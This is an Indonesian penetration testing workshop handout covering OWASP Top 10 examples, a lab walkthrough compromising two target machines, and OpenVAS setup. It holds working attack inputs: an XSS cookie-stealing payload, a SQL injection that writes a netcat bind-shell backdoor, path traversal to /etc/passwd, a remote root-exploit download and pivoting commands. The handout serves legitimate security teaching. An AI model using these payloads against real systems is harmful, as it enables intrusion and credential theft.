Upload
dan-h
View
2.230
Download
8
Embed Size (px)
DESCRIPTION
- Penetration testing with Openvas and Post exploitation - Hacking and secure - Attack with defense
Citation preview
HatSecure - Workshop 101
Workshop 101Web penetration testing & Vulnerability Assessment
How an attacker could compromise a system?
HatSecure - Workshop 101
By Danang Heriyadi
Email : [email protected]
Web : http://www.hatsecure.com
HatSecure - Workshop 1011
Lisensi
Hatsecure - Workshop 101 oleh Danang Heriyadi disebarluaskan di bawah Lisensi
Creative Commons Attribusi-NonKomersial 4.0 Internasional.
Berdasarkan ciptaan pada http://creativecommons.org/licenses/by-nc/4.0/.
HatSecure - Workshop 1012
Workshop 101.............................................................................................................1
An Introduction to Penetration testing.................................................................................4
Penetration testing..............................................................................................4
Vulnerability......................................................................................................... 4
Threat................................................................................................................... 4
Vulnerability Assessment...................................................................................4
Penetration Testing Methodology.......................................................................................5
Adjusting Scope..................................................................................................5
Information Gathering........................................................................................ 5
Target Identification............................................................................................ 5
Target Enumeration............................................................................................5
Vulnerability Mapping.........................................................................................6
Exploitation.......................................................................................................... 6
Post Exploitation.................................................................................................6
Social Engineering..............................................................................................6
Vulnerability Assessment Methodology...............................................................................7
Adjusting Scope..................................................................................................7
Target Enumeration............................................................................................7
Network and Server Assessment.............................................................7
Application Assessment.............................................................................7
OWASP...........................................................................................................................8
OWASP TOP 10 vulnerabilities................................................................................9
MySQL Injection (testing)........................................................................11
Session Fixation (PHP)........................................................................... 12
A3 - Cross Site Scripting ( XSS )...........................................................13
XSS Reflected Attack...............................................................................13
HatSecure - Workshop 1013
XSS Stored Attack....................................................................................13
Relative Path Traversal........................................................................... 14
OpenVas.................................................................................................................... 31
OpenVas Installation........................................................................................31
Vulnerability Assessment ( OpenVas )..........................................................33
Schedules..........................................................................................................41
Developer Guide...............................................................................................43
Plugin development..................................................................................43
HatSecure - Workshop 1014
HatSecure - Workshop 1015
An Introduction to Penetration testing
Penetration testing
Aktivitas evaluasi keamanan suatu sistem komputer dengan melakukan simulasi
penyerangan. Ketika kita berbicara konteks penetration testing tentulah kita harus
memiliki persetujuan legal dari pemilik sistem, ini yang membedakan seorang
penetration tester dengan Black Hat Hacker ataupun Cracker.
Dengan demikian, segala ilmu dan materi yang anda dapat pada workshop ini
hendaklah tidak digunakan untuk melakukan akses ilegal. Segala aktivitas yang
anda lakukan merupakan tanggung jawab anda sendiri.
Vulnerability
Vulnerability (Kerentanan) adalah suatu kelemahan dalam desain sistem,
implementasi, atau operasi dan manajemen yang dapat dimanfaatkan untuk
melanggar kebijakan keamanan sistem.
Threat
Threat (Ancaman) adalah potensi serangan yang bisa terjadi dengan memanfaatkan
kerentanan, dan dapat membahayakan aset yang dimiliki oleh sebuah aplikasi
(resource, data dalam database atau sistem file).
Vulnerability Assessment
Aktivitas evaluasi keamanan suatu sistem komputer dengan mendeteksi,
mengidentifikasi dan mempelajari kelemahannya. Vulnerability assesment tidak
melakukan exploitasi celah atau kelemahan, ini hal sederhana yang membedakan
dengan penetration testing.
HatSecure - Workshop 1016
Penetration Testing Methodology
Adjusting Scope
Adjusting scope adalah proses untuk menentukan batas-batas apa yang termasuk
dalam proses uji penetrasi, seperti batas jaringan, alamat IP, server dan lain-lain,
termasuk prosedur batas yang diperlukan terhadap hal itu.
Information Gathering
Dalam proses ini, penetration tester akan mengumpulkan informasi rinci seperti
jaringan target. Biasanya menggali dimulai dari informasi publik, seperti search
engine, forum, atau WHOIS database.
Tujuan dari proses ini biasanya untuk memetakan informasi tentang target, sehingga
membentuk informasi yang jelas tentang desain dan struktur jaringan target.
Target Identification
Tujuan mengidentifikasi sebanyak mungkin seluruh sistem yang terkait dengan target,
seperti mail server, firewall, web server, IDS / IPS (s), dan lain-lain. Fase ini
dimaksudkan untuk menemukan cara, yang biasa digunakan oleh pengguna
berbahaya (attacker) dan penyusup sebagai jalan masuk ke sistem.
Target Enumeration
Target enumeration merupakan satu langkah selanjutnya untuk mengidentifikasi
topologi jaringan yang tepat, sistem operasi termasuk versi aplikasi, dan port yang
terbuka pada sistem target.
HatSecure - Workshop 1017
Vulnerability Mapping
Fase ini bertujuan untuk mencari kerentanan yang sudah diketahui, private, atau
kerentanan yang belum sama sekali ditemukan di situs penyedia laporan keamanan
internasional (advisory services).
Exploitation
Penetration tester mencoba untuk mendapatkan akses menggunakan exploit yang
dibagi berdasarkan pada eksploitasi kerentanan ditemukan sebelumnya, ini adalah
untuk memastikan bahwa semua script eksploitasi sesuai dengan lingkungan target.
Post Exploitation
Setelah target berhasil dieksploitasi, untuk melancarkan serangan lebih jauh ke
dalam jaringan yang tidak dapat diakses dari luar. Selanjutnya penetration tester
akan mengulangi proses target identificaton, enumeration, vulnerability mapping dan
exploitation sampai tidak bisa melanjutkan exploitasi atau identifikasi celah lagi.
Social Engineering
Manusia juga merupakan bagian dari sistem, sehingga ruang lingkup pengujian
keamanan harus melibatkan faktor manusia. Dalam pengujian keamanan, faktor
manusia adalah link paling lemah, sehingga dapat dengan mudah dieksploitasi.
HatSecure - Workshop 1018
Vulnerability Assessment Methodology
Adjusting Scope
Adjusting scope adalah proses untuk menentukan batas-batas apa yang termasuk
dalam proses vulnerability assessment, seperti batas jaringan, alamat IP, server dan
lain-lain, termasuk prosedur batas yang diperlukan terhadap hal itu.
Target Enumeration
Setelah tahap information gathering dan target identification sudah selesai dan fix.
Target enumeration merupakan satu langkah selanjutnya untuk mengidentifikasi
topologi jaringan yang tepat, sistem operasi termasuk versi aplikasi, dan port yang
terbuka pada sistem target.
Network and Server Assessment
Sebuah proses untuk menemukan komponen jaringan (router, firewall, server, IDS /
IPS) untuk mengenali kerentanan dan menetapkan level risiko untuk setiap
kerentanan (low, medium, high) dan melakukan analisa solusi kebijakan mitigasi
yang sesuai (hardening the system, menerapkan patch , menegakkan kebijakan
keamanan).
Application Assessment
Melakukan analisa aplikasi sebagai cara untuk menentukan kerentanan dan
menetapkan skor risiko untuk setiap kerentanan (low, medium, high) dan
melakukan analisa solusi kebijakan mitigasi yang sesuai (hardening the system,
menerapkan patch , menegakkan kebijakan keamanan).
HatSecure - Workshop 1019
OWASP
The Open Web Application Security Project (OWASP) adalah komunitas terbuka
yang didedikasikan untuk mengembangkan, pembelian, dan memelihara aplikasi
yang dapat dipercaya. Misi OWASP adalah untuk membuat perangkat lunak
keamanan, sehingga individu dan organisasi di seluruh dunia dapat membuat
keputusan tentang risiko keamanan perangkat lunak yang benar.
Setiap orang bebas untuk berpartisipasi dalam OWASP dan semua bahan kami
tersedia di bawah lisensi Free Open Source.
Di OWASP Anda akan menemukan :
1. Aplikasi dan standar keamanan
2. Informasi lengkap tentang pengujian keamanan aplikasi
3. Bagaimana pemrogramming yang aman dan review kode yang aman
4. konferensi yang luas di seluruh dunia
Banyak kalangan praktisi atau penggiat keamanan seluruh dunia menggunakan
sumber OWASP sebagai dasar methodology ataupun mempelajari keamanan
aplikasi website. OWASP juga menyediakan informasi celah yang paling banyak
ditemukan tahun-tahun tertentu, project ini dikenal dengan OWASP TOP TEN.
Tujuan dari Top 10 proyek adalah untuk meningkatkan kesadaran tentang keamanan
aplikasi dengan mengidentifikasi beberapa risiko yang paling kritis yang dihadapi
organisasi.
HatSecure - Workshop 10110
OWASP TOP 10 vulnerabilities
Tabel diatas menampilkan celah yang paling banyak ditemukan dan di exploitasi oleh
atacker. Selain itu celah diatas banyak menjadi referensi dari berbagai standar
seperti PCI DSS, Mitre, DISA, FTC, dan lainnya. Pada halaman berikutnya akan
dijelaskan masing-masing komponen dari 10 point diatas.
2013A1 Injection
A2 Broken Authentication and Session Management
A3 Cross-Site Scripting (XSS)
A4 Insecure Direct Object References
A5 Security Misconfiguration
A6 Sensitive Data Exposure
A7 Missing Function Level Access Control
A8 Cross-Site Request Forgery (CSRF)
A9 Using Known Vulnerable Components
A10 Unvalidated Redirects and Forwards
HatSecure - Workshop 10111
A1 - Injection
Kelemahan injeksi, seperti SQL, OS Command, dan injeksi LDAP terjadi ketika data
yang tidak dipercaya dikirim ke interpreter sebagai bagian dari suatu perintah atau
query.
MySQL Injection (testing)
Perintah untuk menampilkan isi dari tabel article, namun disini tidak ada filter untuk
menangani apakah data yang dikirim oleh user merupakan data yang valid sesuai
ketentuan atau data yang berisi query berbahaya.
a. Integer
"SELECT * FROM article WHERE id=" . $_GET[ ‘id’ ];
Skenario untuk testing MySQL Injection (Integer based) :
http://example.com/sidebar-left.php?id=1-2
b. String
"SELECT * FROM article2 WHERE title=’" . $_GET[ ‘title’ ] . " ’ ";
Skenario untuk testing MySQL Injection (String based) :
http://example.com/sidebar-right.php?id=' or '1'='1
HatSecure - Workshop 10112
A2 - Broken Authentification and Session Management
Fungsi aplikasi yang berhubungan dengan otentikasi dan manajemen sesi sering
tidak diterapkan dengan benar, yang memungkinkan penyerang untuk mendapatkan
password, kunci, atau token sesi, atau untuk mengeksploitasi kelemahan
pelaksanaan lainnya seolah menggunakan identitas pengguna lain.
Session Fixation (PHP)
Session Fixation merupakan serangan dimana seorang attacker membajak sesi
pengguna yang valid. Konsep dari serangan ini, seorang attacker memaksa user
target menggunakan ID sesi yang sudah ditentukan oleh attacker. Sehingga ketika
seorang target itu melakukan otentikasi pengguna, maka tidak akan menetapkan ID
sesi baru kepadanya karena dia sudah memiliki sesi. Setelah itu attacker
menggunakan ID sesi yang sama dengan seorang target untuk mendapatkan akses.
1. login
2. Your session is = xxx
6. Access with session = xxx
Victim
ServerAttacker
HatSecure - Workshop 10113
A3 - Cross Site Scripting ( XSS )
Kelemahan XSS terjadi ketika aplikasi mengambil data yang tidak dipercaya dan
mengirimkannya ke browser web tanpa validasi yang tepat atau meloloskannya. XSS
memungkinkan attacker untuk mengeksekusi script dalam browser korban yang
dapat membajak sesi pengguna, merusak situs web, mengeksploitasi celah
keamanan web browser atau mengarahkan pengguna ke situs berbahaya.
XSS Reflected Attack
Serangan XSS jenis ini memanfaatkan URL sebagai tempat penyisipan kode
berbahaya. Untuk memancing seorang target, attacker perlu mengkombinasikan
dengan teknik social engineering.
http://example.com/search.php?keyword=<Malicious Code>
Contoh kode berbahaya :
<script>var tmp = document.cookie; document.write('<img src="http://192.168.0.103/?'%2btmp%2b'"/>');</script>
Script diatas jika di eksekusi akan memaksa browser mengirimkan session atau
cookies kepada attacker.
XSS Stored Attack
Sedangkan untuk stored attack di mana script disuntikkan secara permanen
tersimpan di server sasaran, seperti dalam database, dalam forum pesan, log
pengunjung, komentar, dan sebagainya. Kemudian ketika seorang target
mengunjungi halaman yang sudah disuntikkan kode berbahaya tersebut maka
seorang attacker bisa membajak sesi pengguna, merusak situs web, atau
mengarahkan pengguna ke situs berbahaya.
HatSecure - Workshop 10114
A4 - Insecure Direct Object Reference
Insecure Direct Object Reference terjadi ketika pengembang mengekspos referensi
ke sebuah obyek implementasi internal, seperti file, direktori, rekaman database,
atau kunci, melalui URL atau bentuk parameter. Seorang penyerang dapat
memanipulasi referensi objek langsung untuk mengakses obyek lain tanpa izin.
Relative Path Traversal
Merupakan celah dimana seorang attacker memanipulasi URL yang memungkinkan
attacker dapat mengunduh file internal server. Banyak diantara penggiat keamanan
sering menyebut celah ini dengan sebutan Local File Disclosure (LFD). Biasanya
celah ini ditemukan pada halaman unduhan. Contoh halaman yang memiliki celah :
<?php
$filename = @$_GET['file'];
$file_extension = strtolower(substr(strrchr($filename,"."),1));
switch($file_extension){
case "pdf": $ctype="application/pdf"; break;
case "mp3": $ctype="application/mp3"; break;
case "exe": $ctype="application/octet-stream"; break;
case "zip": $ctype="application/zip"; break;
case "rar": $ctype="application/rar"; break;
case "doc": $ctype="application/msword"; break;
case "xls": $ctype="application/vnd.ms-excel"; break;
case "ppt": $ctype="application/vnd.ms-powerpoint"; break;
case "gif": $ctype="image/gif"; break;
case "png": $ctype="image/png"; break;
case "jpeg":
HatSecure - Workshop 10115
Fungsi readfile() diberikan input nama file tanpa memberikan batasan direktori,
sehingga attacker bisa mengunduh file internal dengan memberikan lokasi spesifik
atau memanipulasi path misal /etc/passwd.
Untuk mengeksploitasinya dapat kita lakukan dengan menggunakan web browser.
http://example.com/download.php?file=/etc/passwd
case "jpg": $ctype="image/jpg"; break;
default: $ctype="application/proses";
}
header("Pragma: private");
header("Expires: 0");
header("Cache-Control: must-revalidate, post-check=0, pre-check=0");
header("Cache-Control: private",false);
header("Content-Type: $ctype");
header("Content-Disposition: attachment; filename=\"".basename($filename)."\";" );
header("Content-Transfer-Encoding: binary");
header("Content-Length: ".filesize($filename));
readfile("$filename");
exit(0);
?>
HatSecure - Workshop 10116
Full Path Disclosure
Celah ini memungkinkan seorang attacker untuk melihat dimana letak lokasi direktori
terkini. Biasanya kita menemukannya langsung beberapa web di internet ketika
terjadi error MySQL disebuah halaman.
Contoh :
Kita dapat melihat dengan jelas dimana lokasi direktori web tersebut. Meskipun celah
ini bukan level kritis akan tetapi dengan informasi demikian seorang attacker dapat
memiliki informasi tambahan sebagai bahan untuk exploitasi selanjutnya.
Banyak sekali celah yang dikategorikan pada Insecure Direct Object Reference, akan
tetapi disini kita ambil 2 contoh yang sering kita temui di internet.
HatSecure - Workshop 10117
A5 - Security Missconfiguration
Celah ini muncul akibat dari kesalahan konfigurasi keamanan. Setiap aplikasi tentu
haruslah memiliki konfigurasi untuk mengamankan user. Akan tetapi beberapa user
melakukan kesalahan dalam konfigurasi, sehingga terjadi ancaman keamanan.
Sebagai contoh disini jika anda sudah familiar dengan PHPMyadmin, pada versi
lama mengijinkan kita untuk login dengan user tanpa password sekalipun jika
memang didalam DBMS terdapat akun yang tidak memiliki password. Kenyataannya
setiap phpmyadmin terdapat 1 akun tanpa password dengan username “pma”.
Pada kategori security missconfiguration ini tidak bergantung pada konteks
phpmyadmin. Akan tetapi lebih umum ke semua bentuk kesalahan konfigurasi entah
dalam bentuk aplikasi web, server, hardware dan lainnya.
HatSecure - Workshop 10118
A6 - Sensitif Data Exposure
Banyak aplikasi web tidak melindungi data sensitif seperti kartu kredit, ID pajak, dan
autentifikasi dengan tidak benar. Attacker dapat mencuri atau memodifikasi data
yang dilindungi lemah tersebut untuk melakukan penipuan kartu kredit, pencurian
identitas, atau kejahatan lainnya. Data sensitif layak perlindungan ekstra seperti
enkripsi saat sudah tersimpan atau dalam pengiriman ke DBMS.
Sebagai contoh kasus kita belanja disebuah web sosial media, disitu kita diminta
untuk memasukan informasi seperti nama asli, alamat rumah, foto, status hubungan,
dan sebagainya. Seharusnya untuk mengamankan data personal ini haruslah perlu
ekstra perlindungan dengan menerapkan enkripsi.
A7 - Missing Functional Access Control
Sebagian besar aplikasi web memverifikasi tingkat hak akses sebelum user interface
terlihat. Namun, aplikasi perlu melakukan pemeriksaan kontrol akses yang sama
pada server ketika fungsi masing-masing diakses. Jika permintaan tidak diverifikasi,
attacker akan bisa melakukan permintaan untuk mengakses fungsi tanpa otorisasi
yang tepat.
Skenario dari kategori ini, misal kita mengakses sebuah website. Dalam web tersebut
terdapat halaman admin untuk mengunggah file ke server. Akan tetapi attacker dapat
mengakses halaman tersebut tanpa melakukan otentifikasi.
HatSecure - Workshop 10119
A8 - Cross Site Request Forgery
Celah keamanan pada aplikasi web dengan cara mengeksploitasi suatu task dari
sebuah Web dengan memanfaatkan Autentikasi yang dimiliki oleh target. Hal ini
memungkinkan penyerang untuk memaksa browser korban untuk menghasilkan
permintaan seakan sah dari korban.
Skenario : Seorang user melakukan otentifikasi pada suatu web. Di web tersebut
memiliki link untuk logout.
http://example.com/login.php?logout=true
Dari informasi link logout diatas kemudian attacker membuat halaman baru dengan
kode sumber dibawah ini :
Halaman tersebut disimpan ke web milik attacker dengan alamat link
http://attacker.com/image.html. Kemudian attacker memancing korban yang sudah log-in
untuk mengakses link tersebut. Setelah korban mengakses halaman tersebut maka
korban akan logout seketika bersamaan dengan akses link berbahaya tersebut.
<html>
<head>
<title>CSRF attack</title>
</head>
<body>
<img src="http://example.com/WebVuln/login.php?logout=true"/>
</body>
</html>
HatSecure - Workshop 10120
A9 - Using Components with Known Vulnerabilities
Komponen, seperti library, framework, dan modul perangkat lunak lain, hampir selalu
berjalan dengan hak penuh. Jika komponen yang memiliki celah ini dimanfaatkan,
serangan seperti itu dapat menyebabkan kehilangan data yang serius hingga server
yang anda miliki diambil alih.
A10 - Unvalidated Redirects and Forwards
Aplikasi web yang sering mengarahkan dan meneruskan pengguna ke halaman lain
dan website, dan menggunakan data yang tidak dipercaya untuk menentukan
halaman tujuan. Tanpa validasi yang tepat, penyerang dapat mengarahkan korban
untuk phishing atau situs malware, atau menggunakan mengalihkan untuk
mengakses halaman yang tidak sah.
Meski ini tidak sampai mengeksploitasi objek secara langsung, akan tetapi harus di
waspadai dengan memberikan validasi.
HatSecure - Workshop 10121
Attack Narrative
Keterangan :
- Server kali linux dipakai oleh peserta yang tidak bisa menjalankan virtual machine
karena kondisi spesifikasi RAM minimal dan sebagainya.
- Jika peserta bisa menjalankan virtual machine kali linux di laptopnya maka peserta
dapat melakukan attacking secara langsung pada target 1.
Kali Linux
Target 1
Target 2
User
HatSecure - Workshop 10122
Chapter One - Attacking Target 1
Sekilas mengenai sistem target 1, pada mesin ini lebih dominan digunakan untuk
webserver. Sehingga kita bisa memulai dari information gathering seputar sistem
target 1. Pada modul ini IP target 1 adalah 192.168.0.104, sesuaikan dengan IP
address pada lab workshop.
root@kali:~# nmap -sS -sV -O 192.168.0.104
PORT STATE SERVICE VERSION
21/tcp open ftp ProFTPD 1.3.3c
22/tcp open ssh OpenSSH 5.5p1 Debian 4ubuntu6 (Ubuntu Linux;protocol 2.0)
80/tcp open http Apache httpd 2.2.16 ((Ubuntu))
443/tcp open ssl/http Apache httpd 2.2.16 ((Ubuntu))
MAC Address: 08:00:27:50:B2:9A (Cadmus Computer Systems)
Device type: general purpose
Running: Linux 2.6.X
OS CPE: cpe:/o:linux:linux_kernel:2.6
OS details: Linux 2.6.17 - 2.6.36
Network Distance: 1 hop
Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel
Kita sudah mendapatkan informasi port apa saja yang terbuka beserta versi
aplikasinya. Dari semua port diatas saya temukan celah pada port 21 ( ProFTPD ) :
CVE-2010-4652
Heap-based buffer overflow in the sql_prepare_where function (contrib/mod_sql.c) in ProFTPD before 1.3.3d,when mod_sql is enabled, allows remote attackers to cause a denial of service (crash) and possibly executearbitrary code via a crafted username containing substitution tags, which are not properly handled duringconstruction of an SQL query.
HatSecure - Workshop 10123
Kita uji apakah celah tersebut bisa di exploitasi dengan mengakses ftp menggunakan
user root’, ‘ttt’ dan password anonymous :
root@kali:~# ftp 192.168.0.104
Password:
530 Login incorrect.
Login failed.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp> bye
221 Goodbye.
Baiklah pada kasus ini kita tidak bisa mengeksploitasinya, kemungkinan disebabkan
mod_sql dimatikan. Dari sini kita beralih mencoba port 80 pada port ini sama sekali
kita tidak menemukan celah pada sisi aplikasi apache sehingga kita beralih ke
aplikasi web.
Kita akses menggunakan web browser http://192.168.0.104 disitu terdapat sebuah
aplikasi web. Kita bisa memindai celah apa saja yang terdapat pada aplikasi web
dengan tool OWASP Zap.
HatSecure - Workshop 10124
Berikut hasil pemindaian celah menggunakan owasp-zap :
Pada URL http://192.168.0.104/WebVuln/sql.php?data=1 ternyata memiliki celah SQL Injection.
Kita akan mencoba mengeksploitasinya untuk mendapatkan akses terminal server.
Dimulai dengan validasi MySQL Injection :
http://192.168.0.104/WebVuln/sql.php?data=1’ and ‘’=’
Dan
http://192.168.0.104/WebVuln/sql.php?data=2-1
Metode kedua menghasilkan output yang sama dengan halaman normal
kemungkinan kita bisa exploitasi celah ini menggunakan mysql injection berbasis
integer.
Langkah berikutnya kita akan menentukan letak berapa kolom yang terdapat pada
tabel terkini dengan menebaknya :
http://192.168.0.104/WebVuln/sql.php?data=1 order by 1 ( Normal )
HatSecure - Workshop 10125
http://192.168.0.104/WebVuln/sql.php?data=1 order by 5 ( Blank )
http://192.168.0.104/WebVuln/sql.php?data=1 order by 2 ( Normal )
http://192.168.0.104/WebVuln/sql.php?data=1 order by 3 ( Normal )
http://192.168.0.104/WebVuln/sql.php?data=1 order by 4 ( Blank )
Kita berhasil menemukan jumlah kolom yang tersisa. Langkah selanjutnya kita perlu
menentukan kolom ke berapa yang ditampilkan ke halaman.
http://192.168.0.104/WebVuln/sql.php?data= -10 UNION SELECT 'a','b','c'
Halaman yang tampil akan seperti dibawah ini :
Sekarang kita injeksi URL dengan script php backdoor dan menyimpannya ke
direktori /var/www/WebVuln/backdoor.php :
http://192.168.0.104/WebVuln/sql.php?data= -10 UNION SELECT 'a','b','<?php system(" nc -lvp 2222 -e/bin/sh"); ?>' INTO OUTFILE '/var/www/WebVuln/backdoor.php'
HatSecure - Workshop 10126
Selanjutnya kita coba aktifkan backdoor port 2222 dengan cara mengakses dengan
web browser pada URL :
http://192.168.0.104/WebVuln/backdoor.php
Akses backdoor port 2222 menggunakan telnet, nc, atau bisa juga dengan putty :
Sampai disini kita sudah berhasil mendapatkan akses backdoor TCP. Selanjutnya
kita akan mencoba mendapatkan akses root dengan mengeksploitasi celah di kernel
2.6.35. Sebelum itu kita perlu mendapatkan akses backdoor PTY agar sambungan
kita dengan backdoor bisa interaktif menggunakan perintah :
python -c "import pty;pty.spawn('/bin/bash')"
HatSecure - Workshop 10127
Dari terminal kita download exploit untuk kernel 2.6.35 :
www-data@target:~# wget http://workshop101.com/root-exploit.c
Compile source code root-exploit.c :
HatSecure - Workshop 10128
Dari gambar diatas kita sudah berhasil mengambil alih akses tertinggi (root) dengan
kata lain sistem sudah dibawah kendali kita secara keseluruhan. Namun kita masih
belum selesai, disini kita baru selesai melakukan exploitasi pada target 1. Untuk
target 2 kita tidak bisa melakukan serangan secara langsung melalui jaringan user.
Karena pada dasarnya target 2 hanya terhubung pada sistem target 1. Maka kita
musti melakukan lompatan atau pivoting ke target 2.
Jalankan perintah ifconfig dari terminal Target 1:
# /sbin/ifconfig
eth0 Link encap:Ethernet HWaddr 08:00:27:50:b2:9a
inet addr:192.168.0.104 Bcast:192.168.0.255Mask:255.255.255.0
inet6 addr: fe80::a00:27ff:fe50:b29a/64 Scope:Link
UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1
RX packets:180 errors:0 dropped:0 overruns:0 frame:0
TX packets:432 errors:0 dropped:0 overruns:0 carrier:0
collisions:0 txqueuelen:1000
RX bytes:17204 (17.2 KB) TX bytes:40153 (40.1 KB)
HatSecure - Workshop 10129
eth1 Link encap:Ethernet HWaddr 08:00:27:96:6c:84
inet addr:10.13.13.101 Bcast:10.13.13.255Mask:255.255.255.0
inet6 addr: fe80::a00:27ff:fe96:6c84/64 Scope:Link
UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1
RX packets:4 errors:0 dropped:0 overruns:0 frame:0
TX packets:47 errors:0 dropped:0 overruns:0 carrier:0
collisions:0 txqueuelen:1000
RX bytes:1717 (1.7 KB) TX bytes:5483 (5.4 KB)
Ternyata target 1 terhubung ke jaringan internal, terlihat berdasarkan IP pada
interface eth1 dengan IP 10.13.13.101. Untuk mengetahui IP address dari target 2
kita perlu melakukan pemindaian menggunakan nmap :
# nmap -sP 10.13.13.1/24
Nmap scan report for 10.13.13.101
Host is up.
Nmap scan report for 10.13.13.102
Host is up (0.00038s latency).
MAC Address: 08:00:27:70:E0:E8 (Cadmus Computer Systems)
Nmap done: 256 IP addresses (3 hosts up) scanned in 3.90 seconds
Setelah itu kita mulai lagi melakukan pemindaian port dengan nmap :
# nmap -sS -sV 10.13.13.102
PORT STATE SERVICE VERSION
21/tcp open ftp vsftpd 2.3.4
22/tcp open ssh OpenSSH 4.7p1 Debian 8ubuntu1 (protocol 2.0)
23/tcp open telnet Linux telnetd
25/tcp open smtp Postfix smtpd
53/tcp open domain ISC BIND 9.4.2
HatSecure - Workshop 10130
80/tcp open http Apache httpd 2.2.8 ((Ubuntu) DAV/2)
111/tcp open rpcbind 2 (rpc #100000)
139/tcp open netbios-ssn Samba smbd 3.X (workgroup: WORKGROUP)
445/tcp open netbios-ssn Samba smbd 3.X (workgroup: WORKGROUP)
512/tcp open exec?
513/tcp open login?
514/tcp open shell?
1099/tcp open unknown
1524/tcp open ingreslock?
2049/tcp open nfs 2-4 (rpc #100003)
3306/tcp open mysql MySQL 5.0.51a-3ubuntu5
5432/tcp open postgresql PostgreSQL DB
5900/tcp open vnc VNC (protocol 3.3)
6000/tcp open X11 (access denied)
6667/tcp open irc Unreal ircd
8009/tcp open ajp13 Apache Jserv (Protocol v1.3)
8180/tcp open http Apache Tomcat/Coyote JSP engine 1.1
Disini kita bisa mengakses target 2 melalui target 1. Agar kita bisa bebas mengakses
target 2 langsung dari laptop kita. Maka kita perlu membuat port forwarding antara
target 1 ke target 2. Contoh disini saya akan mengalihkan port 7777 pada target 1
agar diantarkan ke target 2 pada port 80 :
# echo "1" > /proc/sys/net/ipv4/ip_forward
# /sbin/iptables -t nat -A PREROUTING -p tcp --dport 7777 -j DNAT--to-destination 10.13.13.102:80
# /sbin/iptables -t nat -A POSTROUTING -j MASQUERADE
Langkah selanjutnya merupakan latihan bagi peserta. Selamat menikmati :D.
HatSecure - Workshop 10131
OpenVasOpenVas Installation
OpenVas terkadang sudah terdapat pada repository beberapa distro linux, akan
tetapi tidak semua distro menyediakannya. Untuk Centos kita cukup install dengan
perintah yum install openvas*. Jika anda pengguna debian atau turunannya, kita bisa
install OpenVas dengan perintah dibawah ini :
Menambah repositori OpenVas
recho "deb http://download.opensuse.org/repositories/security:/OpenVAS:/UNSTABLE:/v6/Debian_7.0/ ./" >>/etc/apt/sources.list
Menambah kunci GPG ke apt
wget http://download.opensuse.org/repositories/security:/OpenVAS:/UNSTABLE:/v6/Debian_7.0/Release.key
apt-key add ./Release.key
sudo apt-get update
Install OpenVas dan dependensinya
apt-get -y install greenbone-security-assistant openvas-cli openvas-manager openvas-scanner openvas-administratorsqlite3 xsltproc rsync
Install paket pendukung untuk generate OpenVas report
apt-get -y install texlive-latex-base texlive-latex-extra texlive-latex-recommended htmldoc
Paket pendukung untuk autogenerated LSC credential packages
apt-get -y install alien rpm nsis fakeroot
Setelah selesai melakukan instalasi OpenVas pada halaman selanjutnya kita akan
konfigurasi OpenVas dan memperbarui plugin dan advisory yang diperlukan.
HatSecure - Workshop 10132
Membangkitkan sertifikat digital
test -e /var/lib/openvas/CA/cacert.pem || openvas-mkcert -q
Memperbarui NVT ( Advisory )
openvas-nvt-sync
test -e /var/lib/openvas/users/om || openvas-mkcert-client -n om -i
/etc/init.d/openvas-manager stop
/etc/init.d/openvas-scanner stop
Memperbarui plugin dan memuat plugin
openvassd
openvasmd --rebuild
openvas-scapdata-sync
openvas-certdata-sync
Membuat account OpenVas
test -e /var/lib/openvas/users/admin || openvasad -c add_user -n admin -r Admin
killall openvassd
sleep 15
Menjalankan OpenVas
/etc/init.d/openvas-scanner start
/etc/init.d/openvas-manager start
/etc/init.d/openvas-administrator restart
/etc/init.d/greenbone-security-assistant restart
Ketika OpenVas sudah berjalan maka anda bisa mengaksesnya melalui web browser
pada port 9392. Contoh :
https://localhost:9392/
Anda dapat mengganti localhost dengan alamat IP dari linux yang terinstall OpenVas.
HatSecure - Workshop 10133
Vulnerability Assessment ( OpenVas )
Jika OpenVas sudah terinstall dengan benar. Kita buka halaman panelnya pada port
9392. Account yang digunakan pada workshop ini :
Username : admin
Password : openvas
Account bisa saja berbeda dengan OpenVas yang anda install. Anda mengatur
password ketika melakukan instalasi OpenVas.
Selanjutnya kita akan melakukan pemindaian celah pada OS target yang sudah
disediakan di workshop diantaranya Ubuntu 10 ( Web Vulnerable Target),
Metasploitable, dan lainnya.
HatSecure - Workshop 10134
Untuk memulai pemindaian, masukkan IP dari mesin target yang akan di pindai.
Disini kita gunakan IP 192.168.56.101 sebagai sampel. Alamat IP bisa berbeda-beda,
pastikan IP target yang anda masukkan benar.
Pemindaian bisa memerlukan banyak waktu tergantung dari banyaknya port yang
terbuka dan banyaknya celah yang ditemukan pada mesin target. Dengan demikian
kita bisa simpulkan bahwa tool OpenVas merupakan tool vulnerability assessment
yang didesain untuk identifikasi celah pada jaringan dan aplikasi server.
HatSecure - Workshop 10135
Jika proses pemindaian selesai, kita bisa melihat kesimpulan dari hasil vulnerability
assessment. Dikatakan kritis apabila hasil yang muncul adalah High, biasanya status
ini terjadi jika OpenVas menemukan minimal 1 celah yang kritis maka status
kesimpulannya otomatis menjadi High.
OpenVas menyediakan fitur yang lebih detail mengenai hasil output pemindaian, kita
bisa melihatnya dengan membuka Task Detail pada IP target yang telah kita
pindai sebelumnya.
HatSecure - Workshop 10136
Ternyata setelah kita lihat Task Detail kita menemukan 41 celah berbahaya dengan
kategori High, 21 celah dengan kategori medium, dan 13 celah dengan kategori low.
Untuk lebih jauh melihat apa saja celah yang ada pada mesin kita bisa klik icon Detail
pada Report for “Immediate scan of IP 192.168.56.102”.
Pada halaman detail tersebut jika kita scroll kebawah maka semua daftar celah yang
ditemukan akan terlihat. OpenVas menyediakan fitur generate report, sehingga kita
bisa menyimpan hasil pemindaian termasuk analisisnya ke bentuk format file PDF
ataupun HTML.
HatSecure - Workshop 10137
Output dari sampel halaman sebelumnya hanya beberapa saja yang dimasukkan
pada modul ini, pada tahap ini kita sudah selesai melakukan vulnerability
assessment. Karena konteks kita saat ini adalah vulnerability assessment maka kita
HatSecure - Workshop 10138
tidak akan melakukan exploitasi pada celah tersebut kecuali jika konteks kita saat ini
adalah penetration testing.
Asumsi kita sekarang melakukan penetration testing dari hasil pemindaian OpenVas
tersebut kita menemukan banyak sekali celah yang kita temukan dengan status kritis.
Disini kita mengambil celah distcc server (CVE-2004-2687) untuk di exploitasi
menggunakan metasploit :
msf > search distcc
